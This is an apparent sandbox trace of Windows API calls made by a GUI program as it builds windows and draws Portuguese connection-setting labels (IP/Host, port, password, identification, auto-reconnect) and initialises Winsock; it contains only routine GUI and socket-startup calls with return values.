	[0107.436] SelectObject (hdc=0x300106cd, h=0x210a0658) returned 0x18a0048
	[0107.436] GetTextMetricsA (in: hdc=0x300106cd, lptm=0x19f930 | out: lptm=0x19f930) returned 1
	[0107.436] SelectObject (hdc=0x300106cd, h=0x18a0048) returned 0x210a0658
	[0107.436] GdiReleaseDC () returned 0x1
	[0107.436] NtUserCallOneParam (Param=0x300106cd, Routine=0x41) returned 0x1
	[0107.436] __SEH_prolog4_GS () returned 0x19f8dc
	[0107.436] GetTextMetricsA (in: hdc=0x300106cd, lptm=0x19f5fc | out: lptm=0x19f5fc) returned 1
	[0107.436] SelectObject (hdc=0x300106cd, h=0x210a0658) returned 0x18a0048
	[0107.436] GetTextMetricsA (in: hdc=0x300106cd, lptm=0x19f634 | out: lptm=0x19f634) returned 1
	[0107.436] SelectObject (hdc=0x300106cd, h=0x18a0048) returned 0x210a0658
	[0107.436] GdiReleaseDC () returned 0x1
	[0107.436] NtUserCallOneParam (Param=0x300106cd, Routine=0x41) returned 0x1
	[0107.436] __SEH_prolog4_GS () returned 0x19f5e0
	[0107.437] SysReAllocStringLen (in: pbstr=0x19f8b8*=0x0, psz="Auto reconectar se perder Conexão", len=0x21 | out: pbstr=0x19f8b8*="Auto reconectar se perder Conexão") returned 1
	[0107.437] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="Auto reconectar se perder Conexão", cchWideChar=33, lpMultiByteStr=0x19e890, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Auto reconectar se perder Conexãoè\x19", lpUsedDefaultChar=0x0) returned 33
	[0107.437] GetTextMetricsA (in: hdc=0x300106cd, lptm=0x19f8f8 | out: lptm=0x19f8f8) returned 1
	[0107.437] SelectObject (hdc=0x300106cd, h=0x210a0658) returned 0x18a0048
	[0107.437] GetTextMetricsA (in: hdc=0x300106cd, lptm=0x19f930 | out: lptm=0x19f930) returned 1
	[0107.437] SelectObject (hdc=0x300106cd, h=0x18a0048) returned 0x210a0658
	[0107.437] GdiReleaseDC () returned 0x1
	[0107.437] NtUserCallOneParam (Param=0x300106cd, Routine=0x41) returned 0x1
	[0107.437] __SEH_prolog4_GS () returned 0x19f8dc
	[0107.437] GetTextMetricsA (in: hdc=0x300106cd, lptm=0x19f5fc | out: lptm=0x19f5fc) returned 1
	[0107.437] SelectObject (hdc=0x300106cd, h=0x210a0658) returned 0x18a0048
	[0107.437] GetTextMetricsA (in: hdc=0x300106cd, lptm=0x19f634 | out: lptm=0x19f634) returned 1
	[0107.437] SelectObject (hdc=0x300106cd, h=0x18a0048) returned 0x210a0658
	[0107.437] GdiReleaseDC () returned 0x1
	[0107.437] NtUserCallOneParam (Param=0x300106cd, Routine=0x41) returned 0x1
	[0107.437] __SEH_prolog4_GS () returned 0x19f5e0
	[0107.438] GetTextMetricsA (in: hdc=0x300106cd, lptm=0x19f8e4 | out: lptm=0x19f8e4) returned 1
	[0107.438] SelectObject (hdc=0x300106cd, h=0x210a0658) returned 0x18a0048
	[0107.438] GetTextMetricsA (in: hdc=0x300106cd, lptm=0x19f91c | out: lptm=0x19f91c) returned 1
	[0107.438] SelectObject (hdc=0x300106cd, h=0x18a0048) returned 0x210a0658
	[0107.438] GdiReleaseDC () returned 0x1
	[0107.438] NtUserCallOneParam (Param=0x300106cd, Routine=0x41) returned 0x1
	[0107.438] __SEH_prolog4_GS () returned 0x19f8c8
	[0107.438] GetClassInfoExA (in: hInstance=0x400000, lpszClass="EDIT", lpwcx=0x19f710 | out: lpwcx=0x19f710) returned 1
	[0107.439] GetClassInfoExA (in: hInstance=0x400000, lpszClass="TMemo", lpwcx=0x19f740 | out: lpwcx=0x19f740) returned 0
	[0107.439] _memset (in: _Dst=0x19f74c, _Val=0, _Size=0x2c | out: _Dst=0x19f74c) returned 0x19f74c
	[0107.439] RegisterClassExWOWA () returned 0xc161
	[0107.439] CreateWindowInternal () 
	[0107.439] _SetWindowLong () returned 0x449074
	[0107.440] @ValidateHwnd@4 () returned 0x243d2f0
	[0107.440] _GetWindowLong () returned 0x44010044
	[0107.440] __SEH_epilog4 () returned 0x44010044
	[0107.440] @ValidateHwnd@4 () returned 0x243d2f0
	[0107.440] _GetWindowLong () returned 0x0
	[0107.440] __SEH_epilog4 () returned 0x0
	[0107.440] _SetWindowLong () returned 0x0
	[0107.440] NtUserSetProp () returned 0x1
	[0107.440] NtUserSetProp () returned 0x1
	[0107.457] __SEH_prolog4_GS () returned 0x19ef44
	[0107.457] @ValidateHwnd@4 () returned 0x243d2f0
	[0107.458] _GetWindowRect (in: hWnd=0x243d2f0, lpRect=0x0 | out: lpRect=0x0) returned 0
	[0107.458] @ValidateHwnd@4 () returned 0x243d2f0
	[0107.458] _GetWindowLong () returned 0x44010044
	[0107.458] __SEH_epilog4 () returned 0x44010044
	[0107.458] @ValidateHwnd@4 () returned 0x243d2f0
	[0107.458] _GetWindowLong () returned 0x60162
	[0107.458] __SEH_epilog4 () returned 0x60162
	[0107.458] @ValidateHwnd@4 () returned 0x2423490
	[0107.458] @ValidateHwnd@4 () returned 0x2423490
	[0107.459] __SEH_prolog4_GS () returned 0x19ef48
	[0107.459] @ValidateHwnd@4 () returned 0x243d2f0
	[0107.459] _GetWindowRect (in: hWnd=0x243d2f0, lpRect=0x0 | out: lpRect=0x0) returned 0
	[0107.459] @ValidateHwnd@4 () returned 0x243d2f0
	[0107.459] _GetWindowLong () returned 0x44010044
	[0107.459] __SEH_epilog4 () returned 0x44010044
	[0107.459] @ValidateHwnd@4 () returned 0x243d2f0
	[0107.459] _GetWindowLong () returned 0x60162
	[0107.459] __SEH_epilog4 () returned 0x60162
	[0107.459] @ValidateHwnd@4 () returned 0x2423490
	[0107.459] @ValidateHwnd@4 () returned 0x2423490
	[0107.463] @ValidateHwnd@4 () returned 0x243d2f0
	[0107.463] _GetWindowLong () returned 0x44010044
	[0107.463] __SEH_epilog4 () returned 0x44010044
	[0107.463] @ValidateHwnd@4 () returned 0x243d2f0
	[0107.463] SendMessageWorker () 
	[0107.464] TestWindowProcess () returned 0x1
	[0107.464] SendMessageWorker () 
	[0107.474] __SEH_prolog4_GS () returned 0x19f340
	[0107.474] @ValidateHwnd@4 () returned 0x243d2f0
	[0107.474] _GetWindowRect (in: hWnd=0x243d2f0, lpRect=0x0 | out: lpRect=0x0) returned 0
	[0107.474] @ValidateHwnd@4 () returned 0x243d2f0
	[0107.474] _GetWindowLong () returned 0x44010044
	[0107.474] __SEH_epilog4 () returned 0x44010044
	[0107.474] @ValidateHwnd@4 () returned 0x243d2f0
	[0107.474] _GetWindowLong () returned 0x60162
	[0107.474] __SEH_epilog4 () returned 0x60162
	[0107.474] @ValidateHwnd@4 () returned 0x2423490
	[0107.474] @ValidateHwnd@4 () returned 0x2423490
	[0107.475] GetTextMetricsA (in: hdc=0x300106cd, lptm=0x19f8e4 | out: lptm=0x19f8e4) returned 1
	[0107.475] SelectObject (hdc=0x300106cd, h=0x210a0658) returned 0x18a0048
	[0107.475] GetTextMetricsA (in: hdc=0x300106cd, lptm=0x19f91c | out: lptm=0x19f91c) returned 1
	[0107.475] SelectObject (hdc=0x300106cd, h=0x18a0048) returned 0x210a0658
	[0107.475] GdiReleaseDC () returned 0x1
	[0107.475] NtUserCallOneParam (Param=0x300106cd, Routine=0x41) returned 0x1
	[0107.475] __SEH_prolog4_GS () returned 0x19f8c8
	[0107.476] GetTextMetricsA (in: hdc=0x300106cd, lptm=0x19f8d0 | out: lptm=0x19f8d0) returned 1
	[0107.476] SelectObject (hdc=0x300106cd, h=0x210a0658) returned 0x18a0048
	[0107.476] GetTextMetricsA (in: hdc=0x300106cd, lptm=0x19f908 | out: lptm=0x19f908) returned 1
	[0107.476] SelectObject (hdc=0x300106cd, h=0x18a0048) returned 0x210a0658
	[0107.476] GdiReleaseDC () returned 0x1
	[0107.476] NtUserCallOneParam (Param=0x300106cd, Routine=0x41) returned 0x1
	[0107.476] __SEH_prolog4_GS () returned 0x19f8b4
	[0107.476] GetClassInfoExA (in: hInstance=0x400000, lpszClass="TPUtilWindow", lpwcx=0x19f8f8 | out: lpwcx=0x19f8f8) returned 0
	[0107.476] _memset (in: _Dst=0x19f904, _Val=0, _Size=0x2c | out: _Dst=0x19f904) returned 0x19f904
	[0107.476] RegisterClassExWOWA () returned 0xc160
	[0107.477] CreateWindowInternal () returned 0x60204
	[0107.478] _SetWindowLong () returned 0x4071cc
	[0107.478] GetClassInfoExA (in: hInstance=0x400000, lpszClass="TPUtilWindow", lpwcx=0x19f8f8 | out: lpwcx=0x19f8f8) returned 1
	[0107.478] CreateWindowInternal () returned 0x801f6
	[0107.479] _SetWindowLong () returned 0x4071cc
	[0107.479] GetClassInfoExA (in: hInstance=0x400000, lpszClass="TPUtilWindow", lpwcx=0x19f8f8 | out: lpwcx=0x19f8f8) returned 1
	[0107.479] CreateWindowInternal () returned 0x50028
	[0107.480] _SetWindowLong () returned 0x4071cc
	[0107.480] WSAStartup (in: wVersionRequired=0x101, lpWSAData=0x50e0c4 | out: lpWSAData=0x50e0c4) returned 0
	[0107.483] WSAStartup (in: wVersionRequired=0x101, lpWSAData=0x50e0c4 | out: lpWSAData=0x50e0c4) returned 0
	[0107.483] WSAStartup (in: wVersionRequired=0x101, lpWSAData=0x50e0c4 | out: lpWSAData=0x50e0c4) returned 0
	[0107.483] GetProcAddressForCaller () returned 0x77942420
	[0107.483] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x19f7a6 | out: lpWSAData=0x19f7a6) returned 0
	[0107.483] GetClassInfoExA (in: hInstance=0x400000, lpszClass="TPUtilWindow", lpwcx=0x19f8f8 | out: lpwcx=0x19f8f8) returned 1
	[0107.483] CreateWindowInternal () returned 0x60202
	[0107.484] _SetWindowLong () returned 0x4071cc
	[0107.485] GetClassInfoExA (in: hInstance=0x400000, lpszClass="TPUtilWindow", lpwcx=0x19f8f8 | out: lpwcx=0x19f8f8) returned 1
	[0107.485] CreateWindowInternal () returned 0x20216
	[0107.486] _SetWindowLong () returned 0x4071cc
	[0107.486] GetClassInfoExA (in: hInstance=0x400000, lpszClass="TPUtilWindow", lpwcx=0x19f8f8 | out: lpwcx=0x19f8f8) returned 1
	[0107.486] CreateWindowInternal () returned 0x2023c
	[0107.487] _SetWindowLong () returned 0x4071cc
	[0107.487] MoveToEx (in: hdc=0x300106cd, x=0, y=0, lppt=0x0 | out: lppt=0x0) returned 1
	[0107.487] SelectObject (hdc=0x300106cd, h=0x210a0658) returned 0x18a0048
	[0107.487] SetTextColor (hdc=0x300106cd, color=0x0) returned 0x0
	[0107.487] GetTextExtentPoint32A (in: hdc=0x300106cd, lpString="0", c=1, psizl=0x19fa74 | out: psizl=0x19fa74) returned 1
	[0107.488] @HMValidateHandle@8 () returned 0x2423490
	[0107.488] _GetClientRect (in: hWnd=0x2423490, lpRect=0x0 | out: lpRect=0x0) returned 1
	[0107.488] @ValidateHwnd@4 () returned 0x2423490
	[0107.488] _GetWindowLong () returned 0x6cf0000
	[0107.488] __SEH_epilog4 () returned 0x6cf0000
	[0107.488] @ValidateHwnd@4 () returned 0x2423490
	[0107.488] _GetWindowLong () returned 0x6cf0000
	[0107.488] __SEH_epilog4 () returned 0x6cf0000
	[0107.488] @HMValidateHandle@8 () returned 0x2423490
	[0107.488] _GetClientRect (in: hWnd=0x2423490, lpRect=0x0 | out: lpRect=0x0) returned 1
	[0107.489] @ValidateHwnd@4 () returned 0x2423490
	[0107.489] _GetWindowLong () returned 0x6cf0000
	[0107.489] __SEH_epilog4 () returned 0x6cf0000
	[0107.489] @ValidateHwnd@4 () returned 0x2423490
	[0107.489] _GetWindowLong () returned 0x6cf0000
	[0107.489] __SEH_epilog4 () returned 0x6cf0000
	[0107.489] @HMValidateHandle@8 () returned 0x2423490
	[0107.489] _GetClientRect (in: hWnd=0x2423490, lpRect=0x0 | out: lpRect=0x0) returned 1
	[0107.489] @ValidateHwnd@4 () returned 0x2423490
	[0107.489] _GetWindowLong () returned 0x6cf0000
	[0107.489] __SEH_epilog4 () returned 0x6cf0000
	[0107.489] @ValidateHwnd@4 () returned 0x2423490
	[0107.489] _GetWindowLong () returned 0x6cf0000
	[0107.489] __SEH_epilog4 () returned 0x6cf0000
	[0107.490] @HMValidateHandle@8 () returned 0x2423490
	[0107.490] _GetClientRect (in: hWnd=0x2423490, lpRect=0x0 | out: lpRect=0x0) returned 1
	[0107.490] @ValidateHwnd@4 () returned 0x2423490
	[0107.490] _GetWindowLong () returned 0x6cf0000
	[0107.490] __SEH_epilog4 () returned 0x6cf0000
	[0107.490] @ValidateHwnd@4 () returned 0x2423490
	[0107.490] _GetWindowLong () returned 0x6cf0000
	[0107.490] __SEH_epilog4 () returned 0x6cf0000
	[0107.490] @HMValidateHandle@8 () returned 0x2423490
	[0107.491] _GetClientRect (in: hWnd=0x2423490, lpRect=0x0 | out: lpRect=0x0) returned 1
	[0107.491] FlatSB_SetScrollProp (param_1=0x60162, index=0x100, newValue=0x0, param_4=0) returned 0
	[0107.491] FlatSB_SetScrollProp (param_1=0x60162, index=0x40, newValue=0xffffff, param_4=0) returned 0
	[0107.491] FlatSB_SetScrollInfo (param_1=0x60162, code=1, psi=0x19f9ca, fRedraw=1) 
	[0107.492] GetCurrentPositionEx (in: hdc=0x300106cd, lppt=0x19ecbc | out: lppt=0x19ecbc) returned 1
	[0107.492] @ValidateHwnd@4 () returned 0x2423490
	[0107.492] _GetWindowLong () returned 0x6cf0000
	[0107.492] __SEH_epilog4 () returned 0x6cf0000
	[0107.493] @HMValidateHandle@8 () returned 0x2423490
	[0107.493] _GetClientRect (in: hWnd=0x2423490, lpRect=0x0 | out: lpRect=0x0) returned 1
	[0107.493] @ValidateHwnd@4 () returned 0x2423490
	[0107.493] _GetWindowLong () returned 0x6cf0000
	[0107.493] __SEH_epilog4 () returned 0x6cf0000
	[0107.493] @HMValidateHandle@8 () returned 0x2423490
	[0107.493] _GetClientRect (in: hWnd=0x2423490, lpRect=0x0 | out: lpRect=0x0) returned 1
	[0107.493] @ValidateHwnd@4 () returned 0x2423490
	[0107.494] _GetWindowLong () returned 0x6cf0000
	[0107.494] __SEH_epilog4 () returned 0x6cf0000
	[0107.494] @HMValidateHandle@8 () returned 0x2423490
	[0107.494] _GetClientRect (in: hWnd=0x2423490, lpRect=0x0 | out: lpRect=0x0) returned 1
	[0107.494] FlatSB_SetScrollProp (param_1=0x60162, index=0x200, newValue=0x0, param_4=0) returned 0
	[0107.494] FlatSB_SetScrollProp (param_1=0x60162, index=0x80, newValue=0xffffff, param_4=0) returned 0
	[0107.494] FlatSB_SetScrollInfo (param_1=0x60162, code=0, psi=0x19f9ca, fRedraw=1) returned 0
	[0107.495] @ValidateHwnd@4 () returned 0x2423490
	[0107.495] _GetWindowLong () returned 0x6cf0000
	[0107.495] __SEH_epilog4 () returned 0x6cf0000
	[0107.495] @HMValidateHandle@8 () returned 0x2423490
	[0107.495] _GetClientRect (in: hWnd=0x2423490, lpRect=0x0 | out: lpRect=0x0) returned 1
	[0107.495] @ValidateHwnd@4 () returned 0x2423490
	[0107.496] _GetWindowLong () returned 0x6cf0000
	[0107.496] __SEH_epilog4 () returned 0x6cf0000
	[0107.496] @ValidateHwnd@4 () returned 0x2423490
	[0107.496] _GetWindowLong () returned 0x6cf0000
	[0107.496] __SEH_epilog4 () returned 0x6cf0000
	[0107.496] @HMValidateHandle@8 () returned 0x2423490
	[0107.496] _GetClientRect (in: hWnd=0x2423490, lpRect=0x0 | out: lpRect=0x0) returned 1
	[0107.496] @ValidateHwnd@4 () returned 0x2423490
	[0107.496] _GetWindowLong () returned 0x6cf0000
	[0107.496] __SEH_epilog4 () returned 0x6cf0000
	[0107.496] @ValidateHwnd@4 () returned 0x2423490
	[0107.496] _GetWindowLong () returned 0x6cf0000
	[0107.496] __SEH_epilog4 () returned 0x6cf0000
	[0107.497] @HMValidateHandle@8 () returned 0x2423490
	[0107.497] _GetClientRect (in: hWnd=0x2423490, lpRect=0x0 | out: lpRect=0x0) returned 1
	[0107.497] @ValidateHwnd@4 () returned 0x2423490
	[0107.497] _GetWindowLong () returned 0x6cf0000
	[0107.497] __SEH_epilog4 () returned 0x6cf0000
	[0107.497] @ValidateHwnd@4 () returned 0x2423490
	[0107.497] _GetWindowLong () returned 0x6cf0000
	[0107.497] __SEH_epilog4 () returned 0x6cf0000
	[0107.497] @HMValidateHandle@8 () returned 0x2423490
	[0107.497] _GetClientRect (in: hWnd=0x2423490, lpRect=0x0 | out: lpRect=0x0) returned 1
	[0107.498] @ValidateHwnd@4 () returned 0x2423490
	[0107.498] _GetWindowLong () returned 0x6cf0000
	[0107.498] __SEH_epilog4 () returned 0x6cf0000
	[0107.498] @ValidateHwnd@4 () returned 0x2423490
	[0107.498] _GetWindowLong () returned 0x6cf0000
	[0107.498] __SEH_epilog4 () returned 0x6cf0000
	[0107.498] @HMValidateHandle@8 () returned 0x2423490
	[0107.498] _GetClientRect (in: hWnd=0x2423490, lpRect=0x0 | out: lpRect=0x0) returned 1
	[0107.498] FlatSB_SetScrollProp (param_1=0x60162, index=0x100, newValue=0x0, param_4=0) returned 0
	[0107.498] FlatSB_SetScrollProp (param_1=0x60162, index=0x40, newValue=0xffffff, param_4=0) returned 0
	[0107.498] FlatSB_SetScrollInfo (param_1=0x60162, code=1, psi=0x19f9ca, fRedraw=1) returned 0
	[0107.500] @ValidateHwnd@4 () returned 0x2423490
	[0107.500] _GetWindowLong () returned 0x6cf0000
	[0107.500] __SEH_epilog4 () returned 0x6cf0000
	[0107.500] @HMValidateHandle@8 () returned 0x2423490
	[0107.500] _GetClientRect (in: hWnd=0x2423490, lpRect=0x0 | out: lpRect=0x0) returned 1
	[0107.500] @ValidateHwnd@4 () returned 0x2423490
	[0107.500] _GetWindowLong () returned 0x6cf0000
	[0107.500] __SEH_epilog4 () returned 0x6cf0000
	[0107.501] @HMValidateHandle@8 () returned 0x2423490
	[0107.501] _GetClientRect (in: hWnd=0x2423490, lpRect=0x0 | out: lpRect=0x0) returned 1
	[0107.501] @ValidateHwnd@4 () returned 0x2423490
	[0107.501] _GetWindowLong () returned 0x6cf0000
	[0107.501] __SEH_epilog4 () returned 0x6cf0000
	[0107.501] @HMValidateHandle@8 () returned 0x2423490
	[0107.501] _GetClientRect (in: hWnd=0x2423490, lpRect=0x0 | out: lpRect=0x0) returned 1
	[0107.501] FlatSB_SetScrollProp (param_1=0x60162, index=0x200, newValue=0x0, param_4=0) returned 0
	[0107.501] FlatSB_SetScrollProp (param_1=0x60162, index=0x80, newValue=0xffffff, param_4=0) returned 0
	[0107.501] FlatSB_SetScrollInfo (param_1=0x60162, code=0, psi=0x19f9ca, fRedraw=1) returned 0
	[0107.502] @ValidateHwnd@4 () returned 0x2423490
	[0107.503] _GetWindowLong () returned 0x6cf0000
	[0107.503] __SEH_epilog4 () returned 0x6cf0000
	[0107.503] @HMValidateHandle@8 () returned 0x2423490
	[0107.503] _GetClientRect (in: hWnd=0x2423490, lpRect=0x0 | out: lpRect=0x0) returned 1
	[0107.503] @HMValidateHandle@8 () returned 0x2423490
	[0107.503] _GetClientRect (in: hWnd=0x2423490, lpRect=0x0 | out: lpRect=0x0) returned 1
	[0107.504] @HMValidateHandle@8 () returned 0x2423490
	[0107.504] _GetClientRect (in: hWnd=0x2423490, lpRect=0x0 | out: lpRect=0x0) returned 1
	[0107.504] FreeResource (hResData=0xcd640c) returned 0
	[0107.504] MoveToEx (in: hdc=0xa0100d0, x=0, y=0, lppt=0x0 | out: lppt=0x0) returned 1
	[0107.505] SetTextColor (hdc=0xa0100d0, color=0x0) returned 0x0
	[0107.505] CreatePenIndirect (plpen=0x19fbe8) returned 0x7930068b
	[0107.505] SetROP2 (hdc=0xa0100d0, rop2=13) returned 13
	[0107.505] CreateBrushIndirect (plbrush=0x19fbec) returned 0x1b100652
	[0107.505] UnrealizeObject (h=0x1b100652) returned 1
	[0107.505] SelectObject (hdc=0xa0100d0, h=0x1b100652) returned 0x1900010
	[0107.505] SetBkColor (hdc=0xa0100d0, color=0xffffff) returned 0xffffff
	[0107.505] SetBkMode (hdc=0xa0100d0, mode=2) returned 2
	[0107.505] DrawTextExA (in: hdc=0xa0100d0, lpchText="IP/Host:", cchText=8, lprc=0x19fc59, format=0x440, lpdtp=0x0 | out: lpchText="IP/Host:", lprc=0x19fc59) returned 13
	[0107.505] GetCurrentPositionEx (in: hdc=0xa0100d0, lppt=0x19fc44 | out: lppt=0x19fc44) returned 1
	[0107.505] GdiReleaseDC () returned 0x1
	[0107.505] NtUserCallOneParam (Param=0xa0100d0, Routine=0x41) returned 0x1
	[0107.505] NtUserGetDC () returned 0xa0100d0
	[0107.506] MoveToEx (in: hdc=0xa0100d0, x=0, y=0, lppt=0x0 | out: lppt=0x0) returned 1
	[0107.506] SetTextColor (hdc=0xa0100d0, color=0x0) returned 0x0
	[0107.506] SelectObject (hdc=0xa0100d0, h=0x7930068b) returned 0x1b00017
	[0107.506] SetROP2 (hdc=0xa0100d0, rop2=13) returned 13
	[0107.506] UnrealizeObject (h=0x1b100652) returned 1
	[0107.506] SelectObject (hdc=0xa0100d0, h=0x1b100652) returned 0x1900010
	[0107.506] SetBkColor (hdc=0xa0100d0, color=0xffffff) returned 0xffffff
	[0107.506] SetBkMode (hdc=0xa0100d0, mode=2) returned 2
	[0107.506] DrawTextExA (in: hdc=0xa0100d0, lpchText="Porta:", cchText=6, lprc=0x19fc59, format=0x440, lpdtp=0x0 | out: lpchText="Porta:", lprc=0x19fc59) returned 13
	[0107.506] GetCurrentPositionEx (in: hdc=0xa0100d0, lppt=0x19fc44 | out: lppt=0x19fc44) returned 1
	[0107.506] GdiReleaseDC () returned 0x1
	[0107.506] NtUserCallOneParam (Param=0xa0100d0, Routine=0x41) returned 0x1
	[0107.506] NtUserGetDC () returned 0xa0100d0
	[0107.506] MoveToEx (in: hdc=0xa0100d0, x=0, y=0, lppt=0x0 | out: lppt=0x0) returned 1
	[0107.506] SetTextColor (hdc=0xa0100d0, color=0x0) returned 0x0
	[0107.506] SelectObject (hdc=0xa0100d0, h=0x7930068b) returned 0x1b00017
	[0107.506] SetROP2 (hdc=0xa0100d0, rop2=13) returned 13
	[0107.506] UnrealizeObject (h=0x1b100652) returned 1
	[0107.506] SelectObject (hdc=0xa0100d0, h=0x1b100652) returned 0x1900010
	[0107.506] SetBkColor (hdc=0xa0100d0, color=0xffffff) returned 0xffffff
	[0107.506] SetBkMode (hdc=0xa0100d0, mode=2) returned 2
	[0107.507] DrawTextExA (in: hdc=0xa0100d0, lpchText="Senha:", cchText=6, lprc=0x19fc59, format=0x440, lpdtp=0x0 | out: lpchText="Senha:", lprc=0x19fc59) returned 13
	[0107.507] GetCurrentPositionEx (in: hdc=0xa0100d0, lppt=0x19fc44 | out: lppt=0x19fc44) returned 1
	[0107.507] GdiReleaseDC () returned 0x1
	[0107.507] NtUserCallOneParam (Param=0xa0100d0, Routine=0x41) returned 0x1
	[0107.507] NtUserGetDC () returned 0xa0100d0
	[0107.507] MoveToEx (in: hdc=0xa0100d0, x=0, y=0, lppt=0x0 | out: lppt=0x0) returned 1
	[0107.507] SetTextColor (hdc=0xa0100d0, color=0x0) returned 0x0
	[0107.507] SelectObject (hdc=0xa0100d0, h=0x7930068b) returned 0x1b00017
	[0107.507] SetROP2 (hdc=0xa0100d0, rop2=13) returned 13
	[0107.507] UnrealizeObject (h=0x1b100652) returned 1
	[0107.507] SelectObject (hdc=0xa0100d0, h=0x1b100652) returned 0x1900010
	[0107.507] SetBkColor (hdc=0xa0100d0, color=0xffffff) returned 0xffffff
	[0107.507] SetBkMode (hdc=0xa0100d0, mode=2) returned 2
	[0107.507] DrawTextExA (in: hdc=0xa0100d0, lpchText="Identificação:", cchText=14, lprc=0x19fc59, format=0x440, lpdtp=0x0 | out: lpchText="Identificação:", lprc=0x19fc59) returned 13
	[0107.508] GetCurrentPositionEx (in: hdc=0xa0100d0, lppt=0x19fc44 | out: lppt=0x19fc44) returned 1
	[0107.508] GdiReleaseDC () returned 0x1
	[0107.508] NtUserCallOneParam (Param=0xa0100d0, Routine=0x41) returned 0x1
	[0107.508] @HMValidateHandle@8 () returned 0x2423490
	[0107.508] _GetClientRect (in: hWnd=0x2423490, lpRect=0x0 | out: lpRect=0x0) returned 1
	[0107.508] NtUserGetDC () returned 0xa0100d0
	[0107.508] MoveToEx (in: hdc=0xa0100d0, x=0, y=0, lppt=0x0 | out: lppt=0x0) returned 1
	[0107.508] CompareStringA (Locale=0x400, dwCmpFlags=0x1, lpString1="Verdana", cchCount1=7, lpString2="Default", cchCount2=7) returned 3
	[0107.508] CreateFontIndirectA (lplf=0x19fbbc) returned 0xe0a0759
	[0107.508] SetTextColor (hdc=0xa0100d0, color=0x0) returned 0x0
	[0107.508] SelectObject (hdc=0xa0100d0, h=0x7930068b) returned 0x1b00017
	[0107.508] SetROP2 (hdc=0xa0100d0, rop2=13) returned 13
	[0107.508] UnrealizeObject (h=0x1b100652) returned 1
	[0107.508] SelectObject (hdc=0xa0100d0, h=0x1b100652) returned 0x1900010
	[0107.508] SetBkColor (hdc=0xa0100d0, color=0xffffff) returned 0xffffff
	[0107.508] SetBkMode (hdc=0xa0100d0, mode=2) returned 2
	[0107.509] DrawTextExA (in: hdc=0xa0100d0, lpchText="lblLink", cchText=7, lprc=0x19fc59, format=0x440, lpdtp=0x0 | out: lpchText="lblLink", lprc=0x19fc59) returned 13
	[0107.539] GetCurrentPositionEx (in: hdc=0xa0100d0, lppt=0x19fc44 | out: lppt=0x19fc44) returned 1
	[0107.539] GdiReleaseDC () returned 0x1
	[0107.539] NtUserCallOneParam (Param=0xa0100d0, Routine=0x41) returned 0x1
	[0107.539] NtUserInvalidateRect () returned 0x1
	[0107.539] @HMValidateHandle@8 () returned 0x2423490
	[0107.539] _GetClientRect (in: hWnd=0x2423490, lpRect=0x0 | out: lpRect=0x0) returned 1
	[0107.539] NtUserInvalidateRect () returned 0x1
	[0107.540] @HMValidateHandle@8 () returned 0x2423490
	[0107.540] _GetClientRect (in: hWnd=0x2423490, lpRect=0x0 | out: lpRect=0x0) returned 1
	[0107.540] @ValidateHwnd@4 () returned 0x2423490
	[0107.540] _GetWindowLong () returned 0x6cf0000
	[0107.540] __SEH_epilog4 () returned 0x6cf0000
	[0107.540] @ValidateHwnd@4 () returned 0x2423490
	[0107.540] _GetWindowLong () returned 0x6cf0000
	[0107.540] __SEH_epilog4 () returned 0x6cf0000
	[0107.540] @HMValidateHandle@8 () returned 0x2423490
	[0107.540] _GetClientRect (in: hWnd=0x2423490, lpRect=0x0 | out: lpRect=0x0) returned 1
	[0107.541] @ValidateHwnd@4 () returned 0x2423490
	[0107.541] _GetWindowLong () returned 0x6cf0000
	[0107.541] __SEH_epilog4 () returned 0x6cf0000
	[0107.541] @ValidateHwnd@4 () returned 0x2423490
	[0107.541] _GetWindowLong () returned 0x6cf0000
	[0107.541] __SEH_epilog4 () returned 0x6cf0000
	[0107.541] @HMValidateHandle@8 () returned 0x2423490
	[0107.541] _GetClientRect (in: hWnd=0x2423490, lpRect=0x0 | out: lpRect=0x0) returned 1
	[0107.541] @ValidateHwnd@4 () returned 0x2423490
	[0107.541] _GetWindowLong () returned 0x6cf0000
	[0107.541] __SEH_epilog4 () returned 0x6cf0000
	[0107.541] @ValidateHwnd@4 () returned 0x2423490
	[0107.542] _GetWindowLong () returned 0x6cf0000
	[0107.542] __SEH_epilog4 () returned 0x6cf0000
	[0107.542] @HMValidateHandle@8 () returned 0x2423490
	[0107.542] _GetClientRect (in: hWnd=0x2423490, lpRect=0x0 | out: lpRect=0x0) returned 1
	[0107.542] @ValidateHwnd@4 () returned 0x2423490
	[0107.542] _GetWindowLong () returned 0x6cf0000
	[0107.542] __SEH_epilog4 () returned 0x6cf0000
	[0107.542] @ValidateHwnd@4 () returned 0x2423490
	[0107.542] _GetWindowLong () returned 0x6cf0000
	[0107.542] __SEH_epilog4 () returned 0x6cf0000
	[0107.543] @HMValidateHandle@8 () returned 0x2423490
	[0107.543] _GetClientRect (in: hWnd=0x2423490, lpRect=0x0 | out: lpRect=0x0) returned 1
	[0107.543] FlatSB_SetScrollProp (param_1=0x60162, index=0x100, newValue=0x0, param_4=0) returned 0
	[0107.543] FlatSB_SetScrollProp (param_1=0x60162, index=0x40, newValue=0xffffff, param_4=0) returned 0
	[0107.543] FlatSB_SetScrollInfo (param_1=0x60162, code=1, psi=0x19fb72, fRedraw=1) returned 0
	[0107.544] FlatSB_GetScrollPos (param_1=0x60162, code=1) returned 0
	[0107.544] @ValidateHwnd@4 () returned 0x2423490
	[0107.544] _GetWindowLong () returned 0x6cf0000
	[0107.544] __SEH_epilog4 () returned 0x6cf0000
	[0107.545] @HMValidateHandle@8 () returned 0x2423490
	[0107.545] _GetClientRect (in: hWnd=0x2423490, lpRect=0x0 | out: lpRect=0x0) returned 1
	[0107.545] @ValidateHwnd@4 () returned 0x2423490
	[0107.545] _GetWindowLong () returned 0x6cf0000
	[0107.545] __SEH_epilog4 () returned 0x6cf0000
	[0107.545] @HMValidateHandle@8 () returned 0x2423490
	[0107.545] _GetClientRect (in: hWnd=0x2423490, lpRect=0x0 | out: lpRect=0x0) returned 1
	[0107.545] @ValidateHwnd@4 () returned 0x2423490
	[0107.545] _GetWindowLong () returned 0x6cf0000
	[0107.545] __SEH_epilog4 () returned 0x6cf0000
	[0107.546] @HMValidateHandle@8 () returned 0x2423490
	[0107.546] _GetClientRect (in: hWnd=0x2423490, lpRect=0x0 | out: lpRect=0x0) returned 1
	[0107.546] FlatSB_SetScrollProp (param_1=0x60162, index=0x200, newValue=0x0, param_4=0) returned 0
